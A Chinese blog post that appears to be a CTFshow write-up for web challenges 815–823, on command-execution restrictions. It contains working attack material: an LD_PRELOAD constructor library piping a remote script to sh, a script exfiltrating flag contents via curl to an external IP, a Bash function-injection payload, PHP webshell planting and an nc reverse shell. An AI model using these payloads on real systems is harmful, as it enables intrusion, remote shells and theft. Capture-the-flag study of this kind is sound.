#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;

__attribute__ ((__constructor__)) void hack(void)
{
unsetenv("LD_PRELOAD");
system("curl https://your-shell.com/ip:port |sh");
}

产生新进程即使用
通用劫持方法 不用比对不同的函数
劫持构造器
构造器能自定函数

image-20220526172217311

web816

临时文件利用

<?php

error_reporting(0);

$env = $_GET['env'];
if(isset($env)){
    putenv($env.scandir("/tmp")[2]);
    system("echo ctfshow");
}else{
    highlight_file(__FILE__);
}

没上传点,但是我们知道php上传的文件后会在tmp目录下产生一个临时文件,而这里

的scandir("/tmp")[2]就是我们上传的文件,所以让env=LD_PRELOAD=/tmp/就可以和815一样了

改改脚本就可以接着用了

image-20220526174525785

web817

$file = $_GET['file'];
if(isset($file) && preg_match("/^\/(\w+\/?)+$/", $file)){
	shell_exec(shell_exec("cat $file"));
}else{
	system("ps aux");
}

题目源码,都没个正常的web页面

题目里面的正则表达式大概意思就是以/开头,并且后面只能有数字字母和/

我们需要在服务器上构造一个文件,并且文件内容是可控的,或者是服务器本身就有这样的文件也是可以的。
大概只能是构造一个临时文件,或者可以日志可控。

日志的话要有.log的后缀,所以只能想临时文件了

利用nginx的body缓存机制

nginx从请求的body体中每次默认读取一定量的字节,如果body字段大于这个字节(32位机器是8k,64位机器是16k),那么在下次读取时之前一部分的字节就会被存入一个临时文件中

如果我们在发完前sleep几秒钟,那么就能很清楚的找到并且能够访问这些临时文件

默认文件的路径大致为

/var/lib/nginx/tmp/client_body/0000000001
/var/lib/nginx/tmp/client_body/0000000002
/var/lib/nginx/tmp/client_body/0000000003

但是body缓存在nginx读取完,转发给php-fpm后就删除了,就是说在php解释执行之前就被删除了

这时候就要借助Linux特性了

Linux有一个文件描述符会将打开后删除了但是还没有关闭的文件存入/proc/PID/fd/{1}中(需要同一用户的操作。

而pid我们通过传一个不带参数的get请求就可以得到。

image-20220526181858962

所以我们只要一边post传数据,一边遍历fd下的文件

原理搞懂了,直接上羽师傅的脚本

import  threading, requests
import socket
import re
port= 28053
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET / HTTP/1.1
Host:127.0.0.1

	'''.encode())
data=s.recv(1024).decode()
s.close()
pid = re.findall('(.*?) www-data',data)[0].strip()
print(pid)

con="curl http://101.34.94.44:4567?`cat /f*`;"+'0'*1024*500
l = len(con)
def upload():
	while True:
		s=socket.socket()
		s.connect(('pwn.challenge.ctf.show',port))
		x=f'''POST / HTTP/1.1
Host: 127.0.0.1
Content-Length: {l}
Content-Type: application/x-www-form-urlencoded
Connection: close

{con}

		'''.encode()
		s.send(x)
		s.close()

def bruter():
	while True:
		for fd in range(3,40):
			print(fd)
			s=socket.socket()
			s.connect(('pwn.challenge.ctf.show',port))
			s.send(f'''GET /?file=/proc/{pid}/fd/{fd} HTTP/1.1
Host: 127.0.0.1
Connection: close

'''.encode())
			print(s.recv(2048).decode())
			s.close()


for i in range(30):
    t = threading.Thread(target=upload)
    t.start()
for j in range(30):
    a = threading.Thread(target=bruter)
    a.start()

image-20220526182711985(好卡啊

web818

$env = $_GET['env'];
if(isset($env)){
	putenv($env);
	system("echo ctfshow");
}else{
	system("ps aux");
}
···

和817一样的原理,只不过把要传入的东西变成了恶意so文件

恶意文件用816那个就可以

image-20220526230108433

(卡卡卡卡卡

web819

<?php

$env = $_GET['env'];
if(isset($env)){
    putenv($env);
    system("whoami");
}else{
    highlight_file(__FILE__);
}

没有 ps aux 来显示所有进程,要靠爆破pid显然不太显示

这里我们利用另一种漏洞。

破壳漏洞

image-20220526230337557

image-20220526230658812

感觉这就类似php的create_function函数的命令逃逸一样,利用结束符让这个函数提前结束然后在后面加上我们自己的命令

image-20220526231102728

这里因为后边执行了whoami命令,我们就直接利用putenv修改whoami命令就行。

image-20220526231157070

最终payload

env=BASH_FUNC_whoami%%=() { cat /f*; }

web820

非常规的文件上传

upload.php

<?php
error_reporting(0);

if(strlen($_FILES['file']['tmp_name'])>0){
    $filetype = $_FILES['file']['type'];
    $tmpname = $_FILES['file']['tmp_name'];
    $ef = getimagesize($tmpname);

    if( ($filetype=="image/jpeg") && ($ef!=false) && ($ef['mime']=='image/jpeg')){
        $content = base64_decode(file_get_contents($tmpname));
        file_put_contents("shell.php", $content);
        echo "file upload success!";
    }
}else{
    highlight_file(__FILE__);
}

上传的文件内容被base64解码一次后再放进shell.php,而base64遇到不属于自己编码字符内的字符时会跳过,可以利用这个特性构造一个特殊的图片

群主构造的图片

image-20220526231808397

里面的字符被base64解码后为

<?=`$_GET[1]`;;?>?

也就是一个get型的一句话木马,参数是1

image-20220526232148797

web821

七字符可写

源码

error_reporting(0);
highlight_file(__FILE__);

$cmd = $_POST['cmd'];

if(strlen($cmd) <= 7){
    shell_exec($cmd);
}

直接上群主师傅的脚本就行了

import requests
import time

url = "http://ed9441a5-6e27-43b0-8538-bdd2f5a5b4d2.challenge.ctf.show/"

payload=[
">hp",
">1.p\\",
">d\\>\\",
">\\ -\\",
">e64\\",
">bas\\",
">7\\|\\",
">XSk\\",
">Fsx\\",
">dFV\\",
">kX0\\",
">bCg\\",
">XZh\\",
">AgZ\\",
">waH\\",
">PD9\\",
">o\\ \\",
">ech\\",
"ls -t>0",
". 0"
]

def writeFile(payload):
	data={
	"cmd":payload
	}
	requests.post(url,data=data)

def run():
	for p in payload:
		writeFile(p.strip())
		print("[*] create "+p.strip())
		time.sleep(1)

def check():
	response = requests.get(url+"1.php")
	if response.status_code == requests.codes.ok:
		print("[*] Attack success!!!Webshell is "+url+"1.php")

def main():
	run()
	check()

	


if __name__ == '__main__':
	main()

这个主要就是将一个get型的一句话木马,参数是1,写进了1.php

原理就是Linux中>x可以生成一个文件名为x的文件

而. x又能执行shell命令

所以利用ls -t对文件按照时间进行排序之后存入0文件,再利用. 0来执行这些文件名构成的命令

image-20220527132006261

题目提示flag在数据库里,用蚁剑连接

get转post

image-20220527132311936

数据操作,然后弱口令登录

image-20220527132607438

image-20220527132632203

web822

七字符不可写

和821一样的代码,但是没有了写入权限,这时候我们就要想利用临时文件了,比如/t*/*

import requests
import time

url = "http://a7276db0-6191-44d2-bbf9-c992009366b4.challenge.ctf.show/"


def getShell(payload):
	data={
	"cmd":payload
	}
	file = {
	"file":b"#!/bin/sh\nnc ip 5001 -e /bin/sh"
	}
	requests.post(url,data=data,files=file)
	print("[*] Attack success!!!")

def run():
	getShell(". /t*/*")

def main():
	run()
	
if __name__ == '__main__':
	main()

反弹shell

web823

5字符可写,有dir

很厉害的思路,把index.php改写成.index

还是有群主的脚本



文章作者: Ethe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Ethe !
评论
  目录